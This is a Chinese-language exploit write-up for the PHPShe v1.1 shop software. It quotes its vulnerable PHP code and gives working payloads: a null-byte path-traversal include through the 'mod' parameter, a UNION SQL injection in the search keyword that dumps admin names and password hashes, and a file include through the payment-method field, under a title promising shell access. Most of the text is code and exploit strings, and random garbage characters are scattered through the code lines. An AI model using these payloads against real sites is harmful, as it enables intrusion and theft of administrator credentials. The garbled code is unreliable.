phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
( S/ N4 V  O+ [/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输
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4 W9 {  D4 [% E8 L# x8 V, O' P' ?
5 Q; i$ m1 R3 I6 ^) N9 {, U. V, `
$ L: F9 B$ z  S3 u& p- E+ C4 k//common.php
$ u) ]* r- h" F5 `if (get_magic_quotes_gpc()) {
+ J+ H. ]& T% k!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
+ p: z3 W( ]7 pelse {
3 g+ M6 j, Q7 I- h!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
/ E8 _" U6 k2 D7 [!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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" T6 m3 A/ U, h0×01 包含漏洞


//首页文件
0 z+ a. g9 h7 s; M3 |2 o<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
* E9 N: o8 {; t- `  n3 f6 h" x?>
! _, I* f1 x5 D, b" h//common 文件 第15行开始
url路由配置
$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

! |2 H0 N0 o& H+ g  N; \3 s 0×02 搜索注入
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<code id="code2">

//product.php文件
7 H# b! |6 |) \% s' S, xcase 'list':
$category_id = intval($id);
! b& }& t1 ^& i4 `5 h3 a' E7 M$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
9 M: q2 V/ _% S6 G. y$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
9 R) T- k+ b* y" A) ~) Jwhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
4 {8 |# F9 V( b$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
4 y) n3 d' \0 u7 G4 C' [3 w}
else {
$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
" l# H) D& F0 z: N( t//当前路径
$nowpath = category_path($category_id);
: S* ~' Z6 V$ H4 ~  `2 G. R3 K+ B$seo = pe_seo($info['category_name']);
4 g0 k+ q2 G- q0 _include(pe_tpl('product_list.html'));
( Q# c5 K4 J0 Q! L" m* ]9 r/ T//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
- c1 {/ v- O+ H+ f1 Y7 L) b$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
4 b. C. Z# L5 f5 ~2 Q8 L  g& K//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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9 i( D/ I: ?* X0 P/ b<code id="code3">

//order.php

case 'pay':

! p' q  [9 X* i  V6 S$order_id = pe_dbhold($_g_id);

, j" L. q/ P# q5 }& R1 n$cache_payway = cache::get('payway');

' S, q3 D6 [+ Z$ s* @foreach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

8 U) t  v% Y2 Fif ($k == 'bank') {

- x3 m9 D+ O7 G2 c7 y+ F# e% v$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

+ C0 C4 o8 F' ]! s( Gif (isset($_p_pesubmit)) {

3 t6 ^  b# ~: P8 Q) m! Jif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

2 T7 e6 @/ @  K8 }$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

$ Q* }5 [4 u$ B! x4 X% zelse {

7 s3 ~) R6 n2 h( K/ _" npe_error('支付错误...');

}

  {$ z4 c3 ^7 {0 o}

) H  c& R& f( V$ J  |9 m$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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